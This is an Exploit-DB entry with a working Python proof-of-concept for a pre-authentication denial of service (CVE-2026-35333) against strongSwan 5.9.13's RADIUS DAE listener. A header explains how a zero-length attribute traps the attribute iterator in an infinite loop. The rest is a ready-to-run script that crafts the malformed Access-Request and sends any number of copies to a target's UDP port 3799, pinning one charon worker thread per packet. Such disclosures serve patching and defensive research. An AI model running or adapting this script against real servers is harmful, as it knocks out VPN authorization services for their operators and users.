strongSwan 5.9.13 - DoS

EDB-ID:

52586




Platform:

Multiple

Date:

2026-05-29


# Exploit Title: strongSwan 5.9.13 - DoS
# Date: 2026-05-13
# Exploit Author: Lukas Johannes Moeller
# Vendor Homepage: https://www.strongswan.org/
# Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
# Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled)
# Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball,
#            strongswan.conf charon.plugins.eap-radius.dae.enable = yes,
#            listener bound on UDP/3799
# CVE: CVE-2026-35333
# References:
#   https://github.com/strongswan/strongswan/commit/e067d24293
#   https://nvd.nist.gov/vuln/detail/CVE-2026-35333
#   https://github.com/JohannesLks/CVE-2026-35333
#
# Description:
#   attribute_enumerate() in src/libradius/radius_message.c walks the
#   attribute list of a RADIUS message without rejecting an attribute
#   whose length byte is 0. For length == 0, this->next never advances
#   and the per-attribute length computation `this->next->length -
#   sizeof(rattr_t)` underflows to (size_t)-2. The result is an
#   infinite loop pegging one charon worker thread at 100% CPU.
#
#   The reachability detail that turns this into a pre-auth bug:
#   radius_message_t::verify() uses the SAME broken iterator to find
#   Message-Authenticator BEFORE the Response-Authenticator MD5 check
#   is applied. For RADIUS code 1 (Access-Request) verify() skips the
#   MD5 check entirely. So a malformed Access-Request with a single
#   zero-length attribute as its first attribute traps the worker
#   thread without any knowledge of the DAE shared secret.
#
#   N packets exhaust N worker threads -> full DAE denial of service.
#
# Usage:
#   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1
#   python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8
#
# Observe on the target:
#   ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd
#   -> one or more threads in state R at ~100% CPU, never returning.
#
# Disclaimer:
#   For authorized testing and defensive research only. Do not use
#   against systems you do not own or have explicit permission to test.

import argparse
import os
import socket
import struct
import sys
import time

ACCESS_REQUEST = 1
RAT_USER_NAME  = 1


def build_zero_length_attr_packet() -> bytes:
    identifier    = os.urandom(1)[0]
    authenticator = os.urandom(16)

    # 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0)
    total_len = 22
    header = struct.pack("!BBH16s",
                         ACCESS_REQUEST,
                         identifier,
                         total_len,
                         authenticator)
    attribute = struct.pack("!BB", RAT_USER_NAME, 0)
    return header + attribute


def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(wait)
    sock.sendto(packet, (target, port))
    print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp")
    try:
        data, addr = sock.recvfrom(4096)
        print(f"[-] unexpected response {len(data)} bytes from {addr}:"
              f" {data[:32].hex()}")
    except socket.timeout:
        print(f"[+] no response within {wait:.1f}s -- expected for hung worker")
    finally:
        sock.close()


def main() -> int:
    p = argparse.ArgumentParser(
        description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS"
    )
    p.add_argument("--target", required=True,
                   help="DAE listener IPv4 address (e.g. 10.0.0.1)")
    p.add_argument("--port", type=int, default=3799,
                   help="DAE listener UDP port (default: 3799)")
    p.add_argument("--count", type=int, default=1,
                   help="Number of crafted packets to send (default: 1)")
    p.add_argument("--wait", type=float, default=2.0,
                   help="Per-packet response timeout in seconds (default: 2.0)")
    args = p.parse_args()

    payload = build_zero_length_attr_packet()
    for i in range(args.count):
        print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
              "zero-length User-Name attribute")
        send_packet(payload, args.target, args.port, args.wait)
        time.sleep(0.2)

    print("\n[+] done; expected effect: one charon worker thread per packet "
          "stuck at 100% CPU.")
    print("    Verify on the target with:  ps -L -p $(pidof charon) "
          "-o tid,pcpu,stat,wchan:25,cmd")
    return 0


if __name__ == "__main__":
    sys.exit(main())